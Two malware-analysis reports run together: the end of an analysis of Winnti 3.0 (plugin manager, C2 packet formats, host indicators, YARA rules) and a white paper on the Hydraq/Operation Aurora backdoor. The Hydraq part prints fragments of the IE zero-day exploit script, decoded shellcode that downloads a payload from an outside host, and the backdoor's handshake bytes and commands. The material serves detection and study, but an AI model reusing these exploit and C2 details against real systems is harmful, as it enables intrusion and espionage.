It does not have any built-in RAT functionality such as file management, remote command shell interaction, network monitoring, or other features common to malware that falls within the RAT category.
Similar to the way that PoisonIvy provides only a framework and requires at-runtime modules to perform RAT functions, Winnti must load a plugin for each desired RAT (or class of RAT) feature.
These modules, which internally the authors refer to as Plus modules, are basic plugins that the worker component is responsible for maintaining.
It would be a poor design for the malware to request a download of code for each RAT function that an attacker wishes to use.
The amount of extraneous data would be excessive and would make the malwares traffic more prone to detection, as plugins are usually a minimum of several tens of kilobytes each.
The authors of Winnti compensate for this by caching plugin modules in memory and possibly on disk.
Whenever a new module is loaded into the victims machine by virtue of a download from the C2 server, the plugin is stored, loaded into memory, and registered with the plugin subsystem, which allows the communication subsystem to pass requests to the plugins from that point on.
Optionally, as part of the integration of the plugin into the Winnti malware, the attacker can request that a copy of the plugin be stored within the PROGRAMFILE\Microsoft Shared\MSInfo\ en-US\ directory, which will allow the worker component to load the plugin automatically whenever the Winnti malware restarts however, storing a plugin is not mandatory.
It is entirely possible that the attacker may specify that the plugin should exist in memory only as long as the malware is active.
This prevents disk based forensics from detecting the plugins and limits the availability of data for analysis to determine what code may have executed on a victims machine.
Plugins are architecture dependent, but the authors of Winnti make no special effort to ensure that only 64-bit plugins run on 64-bit variants of Winnti or that only 32-bit plugins run on 32-bit variants.
Plugins are DLLs with their PE/COFF headers manipulated (like the engine and worker components) to make them unloadable by standard Windows Application Programming Interface (API) functions, therefore requiring that the plugin manager manually load the plugins.
A plugin information header precedes the modified PE/COFF header.
The plugin information header (PluginEntry) , as seen below, contains information defining attributes about the plugin, such as its architecture (64 or 32- bit), the size of the plugins image, the entry point function, the version of the plugin, and, most importantly, the identification number of the plugin.
11WINNTI ANALYSIS struct PluginEntry  DWORD dwPluginID DWORD Version DWORD ArchitectureType DWORD unknown DWORD dwPluginSize DWORD dwEntryFunctionNameHash DWORD fLoaded void pPluginImage int (__stdcall pfnEntryPoint) (void incomingData, int (__cdecl pfnNetDataSend)(PacketHeader ))  The identification number of the plugin (dwPluginID) is the value that allows the communication subsystem to direct incoming requests to the appropriate plugin.
The plugin manager itself supports only the following three commands from the communication subsystem: COMMAND ID DESCRIPTION 0x12 Unknown purpose 0x14 Send a list of plugins currently registered to the C2 0x15 Add a new plugin to the active Winnti malware with an option to save the plugin to disk If a command coming from the communication subsystem does not match one of the plugin managers commands, the RemoteLib:CallPlusList function is called to redirect the data packet to the appropriate plugin or return an error to the C2 server.
COMMUNICATION SCHEME Regardless of the communication model currently active for a Winnti instance, the underlying communication remains constant.
Each datagram that originates from or is destined for the C2 server has the following predefined header structure: struct PacketHeader  DWORD dwTickCount WORD cmd DWORD unknown DWORD dwPayloadSize DWORD dwStreamID  The format of the data that follows the PacketHeader is cmd dependent.
The cmd field allows the communication subsystem to route the request to the appropriate plugin by using the plugin manager to match the cmd value with the dwPluginId value.
The worker component allows a maximum datagram size of 261120 bytes.
To accommodate data streams larger than the maximum datagram size, the stream can be chunked.
12WINNTI ANALYSIS 3 ftp://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8x.tar.gz.
10 May 2012.
4  http://sourceforge.net/projects/sevenzip/files/LZMA20SDK/lzma922.tar.bz2/download.
18 April 2010.
5 Niall Douglas.
nedalloc Homepage.
http://www.nedprod.com/programs/portable/nedmalloc/.
5 December 2014.
6 Jean-loup Gailly and Mark Adler.
zlib.
http://zlib.net/.
26 March 2014.
7 WinSim, Inc. DISKID32 (FREEWARE).
https://www.winsim.com/diskid32/diskid32.html.
Accessed 1 December 2014.
8 WinSim, Inc. About WinSim.
https://www.winsim.com/index.html.
Accessed 1 December 2014.
The dwStreamID value is used to reassemble the streams by appending datagrams with the same dwStreamID together.
The dwPayloadSize field defines the number of bytes within the datagram.
The protocol that the worker component uses to transmit the PacketHeader and the optional payload of the datagrams can and will add additional complexity to the network traffic.
The custom TCP protocol and the HTTP and HTTPS communication modes each deliver the datagrams differently.
The HTTP and HTTPS communication modes will generate POST requests to the C2 server (typically to / index.htm) with the datagram (compressed using Zlib) as the body of the POST.
The custom TCP protocol uses a combination of encryption and compression to transfer the datagrams.
The custom TCP protocol uses a stacked approach to transforming the data.
First, the datagram, which makes up the payload of the custom TCP protocol, is typically compressed with LZMA.
The compressed payload is appended to the following header specific to the custom TCP protocol: struct TCPProtocolHeader  DWORD magic DWORD flags DWORD dwXORKey QWORD crc64 DWORD dwCompressedSize DWORD dwPacketSize  The magic value is 0xACED1984.
The flags value will specify if the datagram is compressed or not.
The dwXORKey value is initialized to zero.
The crc64 value for the datagram (prior to compression) is stored in crc64.
The size of the compressed payload is recorded in dwCompressedSize while the original size of the datagram is stored in dwPacketSize.
The final transformation prior to transmission for the custom TCP protocol involves encrypting the entire packet.
A 32-bit value is generated (by calling GetTickCount) and used as the DWORD XOR key.
Each DWORD within the packet is then XORd with the key.
Given that the dwXORKey field of the TCPProtocolHeader was initialized to zero and exists on a DWORD boundary, the XOR key is recorded within the dwXORKey field.
A successful decryption is determined by XORing the magic and dwXORKey fields to produce the 0xACED1984 value.
CODE REUSE The authors of Winnti are clearly proponents of the open-source software movement, as large chunks of the worker binary consist of open-source software packages.
The authors statically linked in the OpenSSL library (version 0.9.8x),3 the LZMA compression library,4 the nedalloc memory allocation library,5 and the Zlib library (version 1.2.7).6 As for the part of the code that generates the unique identifier for the victims computer, the authors of the worker component lifted the code DISKID32,7 which is an open-source utility for reading the manufacturer data from a hard drive.
The DISKID32 package is a surprisingly obscure piece of software from a company in Texas that writes an industrial process simulator that has over 1,000 active users.8 13WINNTI ANALYSIS The basis for the worker component is a library called RemoteLib.
Some earlier variants of version 3.0 of Winnti contain debugging output that references the RemoteLib library.
RemoteLib does not appear to be a publically available piece of software but does appear to be actively maintained, as evident by the gradual refinements seen between the 32-bit and 64-bit variants of version 3.0 of Winnti.
The compilation of the full OpenSSL library into the worker component solely for implementing HTTPS results in a significant size increase.
Approximately 60 percent of the worker component is made up of OpenSSL functions when only a small fraction (less than 1 percent) of the OpenSSL library is actually used by the worker component.
DETECTION Detecting Winnti via standard IDS signatures or network traffic inspection is not a straightforward process whenever the malware is configured to use HTTPS or the custom TCP protocol due to the use of encryption.
However, more advanced network based behavioral analytic capabilities as well as host-based indicators do exist that can alert a security team or systems administrator to the presence of Winnti.
The version 3.0 variants of Winnti attempt to install themselves as a service with the following characteristics: SERVICE NAME WIND0WS SERVICE DISPLAY NAME automaticallyssl SERVICE DESCRIPTION Monitoring of hardwares and automatically updates the device drivers From a file system perspective, it is possible to identify Winnti infections by looking for the following filenames: SYSDIR\otfkty.dat SYSDIR\wmtsk.dll SYSDIR\wmm2.dat Given that Winnti will alter the time stamp of files to match that of the victims cmd.exe file, looking for files with the exact same time as the victims cmd.exe may identify other foreign files on the victims system that warrant inspection and possible isolation.
Novetta established the following YARA signatures for detecting the various components of version 3.0 of the Winnti malware administrators are advised to use these signatures to help detect and remediate active version 3.0 Winnti infections.
14WINNTI ANALYSIS rule Winnti_Dropper  meta: copyright  Novetta Solutions author  Novetta Advanced Research Group strings: runner  s\\rundll32.exe \s\, DlgProc s inflate  Copyright 1995-2005 Mark Adler condition: runner and inflate  rule Winnti_service  meta: copyright  Novetta Solutions author  Novetta Advanced Research Group strings: newmem  new memory failed value  can not find value d\n onevalue  find one value d\n nofile  Can not open the file (error d) condition: 3 of (newmem, value, onevalue, nofile)  rule Winnti_engine meta: copyright  Novetta Solutions author  Novetta Advanced Research Group strings: api1  SHCreateItemFromParsingName datfile  otfkty.dat workstart  work_start workend  work_end condition: (api1 or datfile) and (workstart and workend)  rule Winnti_worker  meta: copyright  Novetta Solutions author  Novetta Advanced Research Group strings: pango  pango-basic-win32.dll tango  tango.dll dat  s\\dd.dat cryptobase  s\\sysprep\\cryptbase.dll condition: pango and tango and dat and cryptobase
In-depth Analysis of Hydraq The face of cyberwar enemies unfolds Zarestel Ferrer and Methusela Cebrian Ferrer CA ISBU Senior Researchers, Melbourne Australia Abstract There are thousands of undetected online threats and malware attacks from around the world every day.
Most of these attacks take place in cyberspace, where unsuspecting people fall prey to various forms of cybercrime.
Common cyber criminal activity involves stealing sensitive informa- tion such as credit card details, online login credentials, browsing history and email addresses.
However, notable skilled attacks occur when the target is in possession of highly-valuable infor- mation that could be leveraged as a weapon for warfare.
Hydraq is a family of threats used in highly sophisticated, coordinated attacks against large and high-profile corporate networks.
It is referred to as Operation Aurora, Google Hack Attack and Microsoft Internet Explorer 0-day (CVE-2010-0249).
An in-depth code investigation and analysis will highlight Hydraq features and capabilities, and as it unfolds, questions will unravel on to whether the discovery of this threat is just the beginning of a global arms race against cyberwar- fare.
CA Internet Security Business Unit  Internet Security Intelligence Table of Contents Introduction 3 Anatomy of an Attack 4 1.
How Hackers Gain Access 5 1.1 Reconnaissance 5 1.2 0Day Hack Attack 5 1.3 MS10-002 (CVE-2010-049) Analysis 5 1.4 Hydraq Binary Shellcode 7 2.
How Hackers Maintain Access 9 2.1 Win32/Hydraq (EXE) Dropper: Generating Random Service 9 2.2 Win32/Hydraq (DLL) Backdoor: Method of Installation 10 3.
Cyber Spy In Control 11 3.1 Initialization of the Backdoor Configuration 11 3.2 Command and Control 11 3.3 Backdoor Configuration: Resource Section and Registry Key 12 3.4 Backdoor Communication Protocol 0x00: Establishing Communication 13 3.5 Backdoor Communication Protocol 0x01: Execution of Client-Server Commands 17 3.6 Backdoor Command Reference 19 3.7 Backdoor Command Table 21 3.9 Backdoor Commands In Action 24 Summary 28 Safe Computing Habits 29 Appendix A - Other variant method of installation 31 Appendix B - Initial Handshake 33 Appendix C - Customize Character Decoding 33 Appendix D - Real-time Graphical Control 35 Appendix E - Domain Name List 36 Reference 37 CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 2 Introduction In mid-December, we detected a highly sophisticated and targeted attack on our corporate infrastructure originating from China that resulted in the theft of intellectual property from Google.
...
we have evidence to suggest that a primary goal of the attackers  was  accessing the Gmail accounts of Chinese human rights activists.
This statement was taken from a Google blog post entitled A new approach to China[1], in which Google declared its decision to stop censoring its search results in China.
Internet freedom vs cyber crime is a deep issue that crosses all boundaries and the same brought global debate about internet censorship and human rights [2].
This incident prompted authorities and world leaders to discuss and work on matters of cyber crime taking into consideration that cyber threats may affect national security [3].
The report Tracking GhostNet: Investigating a Cyber Espionage Network [4] as published last year, highlights cyberwarfare as a major global concern.
Evidently, an increasing wealth of online information and resources will attract attackers.
For high- profile threats such as Hydraq, it is important to understand the underlying attack technique and its technical details.
This paper seeks to explore and discover the level of skill the attackers employed to successfully deploy this highly sophisticated attack.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 3 Anatomy of an Attack CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 4 Reconnaissance Internet activity shell32.SHGetSpecialFolderPathA urlmon.
URLDownloadToFileA ...kernel32.CreateFileA ...kernel32.GetFileSize // decrypt downloaded file ...kernel32.CreateFileA ...kernel32.SetFilePointer ...kernel32.ReadFile ...kernel32.WriteFile ...kernel32.CloseHandle ...kernel32.CloseHandle ...kernel32.DeleteFileA ...kernel32.MultiByteToWideChar // Execute Win32/Hydraq dropper kernel32.CreateProcessInternalW [Target User][Attacker]          Win32/Hydraq allows remote attacker gain control.
IE 0-day Exploit Attack (CVE-2010-049)Deploying attacks [Attacker] [Target User] Remote Shellcode APIs covert communication channel transmission of sensitive information 1.
How Hackers Gain Access 1.1 Reconnaissance Profiling the target is a basic principle of  hacking.
This refers to a reconnaissance phase where the attacker evaluates and determine ways to launch a successful attack.
Reconnaissance with Whois, DNS and IP/Network could provide preliminary information about the target organizations infrastructure.
In addition, a combination of social engineering and physical (on-site) reconnaissance is also considered as a valuable source of information.
To learn more about the target, attackers performs passive and active scanning to understand the target network topology, platforms, ports and services, vulnerabilities and security defenses.
The profiling also extends to people that have knowledge and access to the target organization including employees, contractors, and visitors.
Cyber reconnaissance is very useful in this case, gathering detailed information through social networking sites  and tracing digital footprints through search engine results.
Attackers could compromise the circle of trust of the target, in- cluding friends, family members and even internet browsing habits can be analyzed to success- fully gain access.
1.2 0Day Hack Attack Hydraq exploits the zero-day (0day) vulnerability in Internet Explorer, which is referred to as CVE-2010-0249 [5] and MS10-002 [6].
In reconnaissance stage, Hydraq masterminds have been able to devise a plan for successful hacking attack.
Evidently, the authors found an opportunity to target Internet Explorer and evade security detection through an unknown vulnerability.
Sophisticated social engineering tricks can then be deployed to entice target users to visit a compromised web site.
1.3 MS10-002 (CVE-2010-049) Analysis It is a common characteristic for attackers to obfuscate malicious JavaScript to conceal the codes real intentions and also avoid detection by security scanners [Listing 01].
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 5 [Listing 01 - Hydraq JavaScript (JS/Hydraq) distributed for targeted attack] In general use, obfuscation is designed for code protection regardless of  whether the intentions are good or bad.
Hydraqs malicious JavaScript contains code that takes advantage of Internet Explorer (IE) HTML object handling flaw  and is triggered when IE tries to access a deleted or incorrectly initial- ized HTML object.
[
Listing 02] Once the exploit attack is successful, Hydraqs binary shellcode will then execute on the target system.
[
Listing 02 - JS/Hydraq IE exploit routine] var e1null function ev1(evt)  e1document.createEventObject(evt) document.getElementById(sp1).innerHTML window.setInterval(ev2, 50)  function ev2()  p\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\ u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0 d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0 c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d  for(i0ix1.lengthi)x1[i].datap var te1.srcElement  CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 6 OBFUSCATED  DeOBFUSCATED Exploit Code Shellcode 01012475   90             NOP 01012476   .
90             NOP 01012477   .
EB 19          JMP SHORT calc.01012492 01012479    5B             POP EBX 0101247A   .
4B             DEC EBX 0101247B   .
90             NOP 0101247C   .
33C9           XOR ECX,ECX 0101247E   .
90             NOP 0101247F   .
807B 01 E9     CMP BYTE PTR DS:[EBX1],0E9 01012483   .
75 01          JNZ SHORT calc.01012486 01012485   .
C3             RETN 01012486    66:B9 7B04     MOV CX,47B 0101248A    80340B D8      XOR BYTE PTR DS:[EBXECX],0D8 0101248E   .E2 FA          LOOPD SHORT calc.0101248A 01012490   .
EB 05          JMP SHORT calc.01012497 01012492    E8 E2FFFFFF    CALL calc.01012479 htmlscript var scunescape(u9090u19ebu4b5bu3 390u90c9u7b80ue901u0175u66c3 1.4 Hydraq Binary Shellcode As shown in Listing 01, Hydraq  binary shellcode is u encoded.
A simple bitwise XOR encryption and 0xD8 as the key, will reveal the hidden instruction.
[
Listing 03 - The shellcode is injected to calc.exe for this analysis] A quick string inspection of the decrypted code shows that it contains Win32/Hydraq installer location, as shown below: [Listing 04 - Decrypted strings from shellcode] Hydraq shellcode contains instructions that will download encrypted file from the internet.
The encrypted file is Hydraqs  installer which is stored at Document and Settings\user- name\Application Data\a.exe CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 7 00000440:  74 57 66 0D-FF 43 BE AC-DB 98 0A 10-F8 80 D6 AF  tWf?C?
?
00000450:  9A FB 53 15-66 68 74 74-70 3A 2F 2F-64 65 6D 6F  vSfhttp://demo 00000460:  31 2E 66 74-70 61 63 63-65 73 73 2E-63 63 2F BC  1.ftpaccess.cc/ Shellcode APIs Once downloaded, it decrypts the file a.exe by performing a bitwise XOR operation using 0x95 as its key it skips bytes equal to 0x95 and 0x00.
The decrypted file is saved to b.exe in the same directory and the file a.exe is deleted to avoid discovery.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 8 shell32.SHGetSpecialFolderPathA // urlmon.
URLDownloadToFileA ...kernel32.CreateFileA ...kernel32.GetFileSize // decrypt downloaded file ...kernel32.CreateFileA ...kernel32.SetFilePointer ...kernel32.ReadFile ...kernel32.WriteFile ...kernel32.CloseHandle ...kernel32.CloseHandle ...kernel32.DeleteFileA ...kernel32.MultiByteToWideChar // Install Win32/Hydraq dropper kernel32.CreateProcessInternalW 2.
How Hackers Maintain Access Once the exploit attack is successful, the attacker will attempt to install a backdoor to maintain access.
In this case, the downloaded executable from the internet is a dropper component of Hydraq (Win32/Hydraq dropper).
The Win32/Hydraq dropper is responsible for the installation of  the DLL component, which con- tains all the features and functionalities for Hydraqs remote attacker.
(
see Appendix A for other variants methods of installation) 2.1 Win32/Hydraq (EXE) Dropper: Generating Random Service 2.1.1 Method of Installation 1.
Upon execution, Win32/Hydraq dropper generates a random service name in the follow- ing format: Ups3 random characters 2.
It drops the DLL component from its resource to System\Rasmon.dll.
3.
It adds the generated service name to the registry entry below: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\SysIns 4.
It then creates and starts a service with the following characteristics detailed below.
This enables the DLL component to be executed under the context of the generic host proc- ess, Svchost.exe.
ServiceName  Ups3 random characters DesiredAccess  SERVICE_ALL_ACCESS ServiceType  SERVICE_WIN32_SHARE_PROCESS StartType  SERVICE_AUTO_START ErrorControl  SERVICE_ERROR_NORMAL BinaryPathName  SystemRoot\System32\svchost.exe -k SysIns 2.1.2 Deleting Traces of Installation 1.
Win32/Hydraq droppers job is to install the DLL component and remove its installation traces in the registry to avoid  forensic discovery.
The data added in the registry key be- low is deleted: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\SysIns CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 9 2.
Furthermore, as part of clearing its traces on a compromised system, the dropper compo- nent creates and executes a batch file in Windows\DFS.bat.
Its primary goal is to delete the Win32/Hydraq dropper file (b.exe).
2.2 Win32/Hydraq (DLL) Backdoor: Method of Installation 2.2.1 Method of Installation Once the Ups3 random characters service starts to execute, it will run Win32/Hydraq DLL under the generic host process, Svchost.exe.
The DLL component will then perform the fol- lowing actions: 1.
It checks the service name it is running on.
It performs a case sensitive comparison on the first three characters of the service name Ras.
If  it is not the same, it stops the service operation and deletes the current service.
It then registers a new  service name in the following format: RaSrandom 4 characters This behavior suggests that Win32/Hydraq DLL changes its service name every time an infected system is rebooted, or the service is restarted.
The malware will never have a service name starting with Ras due to the fact that it generates a service name starting with  RaS (Take note of the case sensitive comparison).
2.
The DLL component creates a service with the following characteristics: ErrorControl: SERVICE_ERROR_IGNORE Start: SERVICE_AUTO_START Type: SERVICE_WIN32_SHARE_PROCESS ImagePath: SystemRoot\System32\svchost.exe -k netsvcs 3.
Similar to the Win32/Hydraq dropper, the DLL component takes advantage of  the available privileges running under the context of trusted Windows system processes.
It adds the fol- lowing registry entry as a parameter to the newly created service.
HKLM\SYSTEM\CurrentControlSet\Services\RaS4 random char- acters\Parameters\ServiceDll  system\Rasmon.dll 4.
In addition, the DLL component also adds an entry of  its service name in the following reg- istry entry below.
HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersions\Svchost\netsvcs CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 10 3.
Cyber Spy In Control 3.1 Initialization of the Backdoor Configuration The attackers behind Hydraq maintain access by installing the Win32/Hydraq DLL component.
Once installed, the backdoor will start to initialize the configuration needed to perform its func- tionalities.
The configuration file is encrypted and stored in the resource section of the DLL file.
To decode it, Win32/Hydraq DLL employs the following steps: 1.
Decryption using bitwise XOR with 0x99 as the key.
2.
Customized character decoding (see Appendix C).
3.
Decryption using bitwise XOR with 0xAB as the key.
Take note that some variants of Hydraq do not store the configuration in the resource file.
These variants reference the registry entry HKLM\Software\Sun\1.1.2\AppleTlk for the remote connection information.
The data found in the key can be decoded using the customized charac- ter decoding logic as specified (see Appendix C).
3.1.1 Using an Interactive Service The Win32/Hydraq DLL backdoor component is installed and running under the context of Svchost.exe, which is a system process.
This service is non-interactive and cannot interact with the user or access GUI objects.
To enable the interactive service, the backdoor will perform the following: 1.
Assign the default desktop object to the Win32/Hydraq DLL thread.
2.
Assign the winstat0 window station to the Win32/Hydraq DLL process.
These actions enable access to GUI objects.
3.2 Command and Control Win32/Hydraq contains an encoded backdoor configuration in the files resource section.
Once de- coded it uses this information to communicate with the Command and Control (CC) server.
The first information accessed in the configuration is the CC server hostname, which can be found at offset 0x00 until the null delimiter.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 11 3.3 Backdoor Configuration: Resource Section and Registry Key The Win32/Hydraq backdoor configuration determines the parameters to enable the remote at- tacker recognize and gain control of the affected system.
The configuration is stored in the: File Resource Section, and/or in a Registry Key.
3.3.1 Files Resource Section As shown in Listing 05, the Win32/Hydraq backdoor configuration is stored in the resource section of the file.
It retrieves the specified hostname, and attempts to establish a remote connection.
However, to perform this task, the backdoor needs to resolve the specified hostname.
Based on the code, the backdoor checks the hostname IP address if  it is a valid IPv4 Internet address (for example, 111.222.123.111).
If it is not, it will retrieve the hostname IP address using an avail- able DNS.
The backdoor connects to 168.95.1.1 using port 53 as an alternate DNS to resolve the server address.
This stand-by solution is only valid in the next 5 minutes from the time the backdoor ac- cesses the alternate DNS server.
3.3.2 In the Registry Key The backdoor also checks the registry key HKLM\Software\Sun\1.1.2\AppleTlk.
The value contained in this key is encoded information about the remote connection details.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 12 [Listing 05 - Win32/Hydraq decoded resource] If the registry key exist, it will decode the value using the following steps: Perform a bitwise XOR with 0x99 as the key on each byte.
Perform the same custom decoding logic it used in the configuration found in files resource section.
The updated configuration is always stored in the registry.
The backdoor will then retrieve the specified hostname and alternate DNS to establish a remote connection.
It checks the hostname IP Address if it is a valid IPv4 Internet address.
If  it is not, it retrieves the hostname IP address us- ing an available DNS.
If the backdoor cannot resolve the hostname IP address, it will sleep for two minutes and attempt to resolve the IP address using an available DNS again (see Listing 06).
If the registry key HKLM\Software\Sun\1.1.2\ does not exist, the backdoor continues the con- nection using the configuration specified from the backdoor resource section.
Take note that the priority configuration used is always from the registry key next is the configuration from the re- source.
3.4 Backdoor Communication Protocol 0x00: Establishing Communication As soon as the servers IP address is resolved, the server attempts to initiate a connection to the client and a 3-way handshake process is performed: 3.4.1 SYNchronize [Listing 06 - Win32/Hydraq reconnects after 2 minutes] In the context of  discussing the backdoor functionalities, we will refer to the following terms as follows: Client or remote server - is defined as the remote attacker.
Server - is defined as the system where the Win32/Hydraq backdoor is installed.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 13 The client sends a custom SYNchronize packet containing the following 20 bytes as initial hand- shake.
FF FF FF FF FF FF 00 00 FE FF FF FF FF FF FF FF FF FF 88 FF The set of bytes above are encrypted using a bitwise NOT operation.
Thus, the raw  set of bytes is the following: 00 00 00 00 00 00 FF FF 01 00 00 00 00 00 00 00 00 00 77 00 As shown in Listing 07, the Win32/Hydraq backdoor code includes a routine that constructs the 20 byte SYNchronization packet that is sent to the client.
The initial handshake was captured during a test simulation performed in a controlled environment as shown in Appendix B.
The backdoor uses port 443 to connect to the server.
Port 443 is the known default port for the HTTPS protocol.
However, in this case, the Win32/Hydraq backdoor did not take advantage of the available SSL/TLS encryp- tion to secure its communication to the client.
The in- formation contained in the packet is evidently showing the set of bytes constructed  by the malware.
3.4.2 SYNchronize-ACKnowledgement The client will identify the initial SYN packet sent by the server.
If valid, the client will respond a SYNchronize ACKnowledgement packet 20 bytes in size.
The sets of  bytes are encrypted using a bitwise XOR with 0xCC as the key.
CC CC CC CC CD CC CC CC CD CC CC CC CC CC CC CC AA AA AA AA [Listing 08 - Acknowledgment data decryption routine ] CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 14 [Listing 07 - Constructing Initial Handshake routine ] The server will validate the SYN-ACK packet from the client expecting the following decrypted val- ues: 00 00 00 00   01 00 00 00   01 00 00 00   00 00 00 00  00 00 00 00 Take note that, Offset 0x00 must be equal to 0x0000 Offset 0x04 must be equal to 0x0001 Offset 0x08 must be equal to 0x0001 Offset 0x0C must be equal to 0x0000 3.4.3 ACKnowledge Once the server receives the expected SYN-ACK packet, it will respond by sending an ACKnowledgement of receipt.
The following tasks are performed: a.
Collect the following information from the compro- mised system.
Computer name CPU clock speed Memory status  specifically gets the amount of actual physical memory in bytes and con- verts it to megabytes.
Operating system information [ Listing 09 - Collected system information ] CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 15 b.Encrypt the information collected using a custom encryption were the key used is derived from the result of GetTickCount API.
The encrypted data will be encrypted again using a bitwise NOT.
c.Generate a CRC hash value of the encrypted information.
d.Send the collected information to the client.
The server is now ready to accept backdoor commands from the remote attacker.
The complete 3-way handshake process between the backdoor server and the client will look like this: [Listing 12 - The backdoor 3-way handshake process] CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 16 [Listing 11 - Captured packet received by the client] [Listing 10 - Constructed message from the server] Header Information Encrypted Information collected in the system 3.5 Backdoor Communication Protocol 0x01: Execution of Client-Server Commands During the 3-way handshake process, we discovered that the Win32/Hydraq backdoor constructs a custom packet.
This is a communication protocol designed so that the client and server can recog- nize each  other over the network.
The information header format is different from each end point.
3.5.1 Clients Information Header Format The constructed information header is 20 bytes in size in the following format:  (Note: The values in Table 01 are for illustration purpose only) Client Command Reference (DWORD) Task (DWORD) Start / End Flag  (DWORD) Size of Data sent  (DWORD) Data CRC (WORD) Data Encryption Key (WORD) 00 00 00 00 02 00 00 00 01 00 00 00 B0 00 00 00 75 53 A1 00 The clients Command Reference and Task will be discussed in the section Backdoor Command Reference.
It is important to take note that the information from the server is encrypted using a bitwise NOT, while the information from the client is encrypted using a bitwise XOR with 0xCC as the key.
(
see Listing 12) Fields Offset Description Client Command Reference 0x00 This field is a reference used for identifying the group of a specific backdoor command.
Task 0x04 This field contains the code used to identify which backdoor instruction to execute.
Start / End 0x08 This field is a flag that signals the receiver start (1) or end (-1) of data.
[
Figure 1 - The client process the server information header.]
[
Table 01 - Clients Information Header Format] CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 17 Fields Offset Description Data Size 0x0C This field contains the size of the encrypted data included in transmission.
Data CRC 0x10 A CRC value computed based on the encrypted data.
This field is used for integrity checking of the encrypted data.
Data Encryption 0x12 It is a word value used as the decryption key for the encrypted data.
This field is used to preserve the confidentiality of the encrypted data.
Encrypted Data 0x14 This offset contains the encrypted data being transmitted to the client or server.
3.5.2 Servers Information Header Format The constructed information header is 20 bytes in size with the following format.
(
Note: The values in Table 03 are for illustration purpose) Server Information Reference (DWORD) Server Information Code (DWORD) Start / End Flag  (DWORD) Size of Data sent  (DWORD) Data CRC (WORD) Data Encryption Key (WORD) 00 00 00 00 02 00 00 00 01 00 00 00 B0 00 00 00 75 53 A1 00 The difference between the client and server header information is the Server Info Reference (off- set 0x00) and Information Code (offset 0x04).
Based on our simulation and code inspection, the backdoor client uses the following numeric codes to identify the content of  the received informa- tion: (Note: The Backdoor Command and Task is discussed in section Backdoor Command Table) [Table 02 - Information Header Definition] [Figure 02 - The client process the server information header.]
[
Table 03 - Servers Information Header Format] CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 18 Server Information Reference Server Information Code (expected values) BackdoorBackdoorBackdoor Type of Information Note: The client expects the following action or information below from the server.
Server Information Reference Server Information Code (expected values) Command TaskTask Type of Information Note: The client expects the following action or information below from the server.
0x00 0x03 0x020x02 0x00 Receive arbitrary file 0x00 0x04 0x040x04 0x08 Write received data to file 0x00 0x05 0x040x04 0x09 Read file information 0x00 0x06 0x070x07 0x0B Receive VedioDriver 0x02 0x00 0x000x00 0x00 Process list 0x02 0x01 0x000x00 0x01 Terminated process 0x03 0x00 0x010x01 0x00 Service list 0x05 0x00 0x030x03 0x00 Enumerated registry keys 0x05 0x01 0x030x03 0x01 Registry keys 0x05 0x02 0x030x03 0x02 Deleted registry info 0x05 0x06 0x030x03 0x06 Deleted key info 0x06 0x00 0x040x04 0x00 Logical drive info 0x06 0x01 0x040x04 0x01 Searched file information 0x06 0x07 0x040x04 0x07 Filenames in a directory 0x08 0x06 0x050x05 0x06 File CRC 0x09 0x01 0x060x06 0x01 File information 0x09 0x02 0x060x06 0x02 Header only 0x0C 0x02 0x080x08 0x00 Header only 0x14 0x04 0x090x09 0x01 Network.ics 3.6 Backdoor Command Reference Aside from the malware code obfuscated with JMPs and NOPs, Win32/Hydraq also constructs a reference table that will be used by the Command Reference field found in the clients informa- tion header to convert the actual commands.
Once the server receives a packet from the client, it performs the following task to convert the clients Command Reference value: [Table 04 - Server Information Header Definition] CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 19 3.
Resulting match: Command Reference Backdoor Command 0x04 0x04 Listing 13 displays the captured communication between the client and server retrieving the logi- cal drive information of the compromised system.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 20 1.
Perform a bitwise XOR with 0xCC as the key  in the information transmitted.
2.
The value in the Command Reference field will be added with negative two (-2).
3.
Match the value obtained in Step 2 in the Table 05 to get the Actual Command.
To elaborate on this further, lets take an example where the remote attacker requests information about the logical drive of the compromised system.
In Table 05, the Command Reference  for retrieving the logical drive is Command 0x04.
(
see Table 06 for Backdoor Command and Task reference) In this example, the Command Reference is CA CC CC CC, and the Task Number is CC CC CC CC.
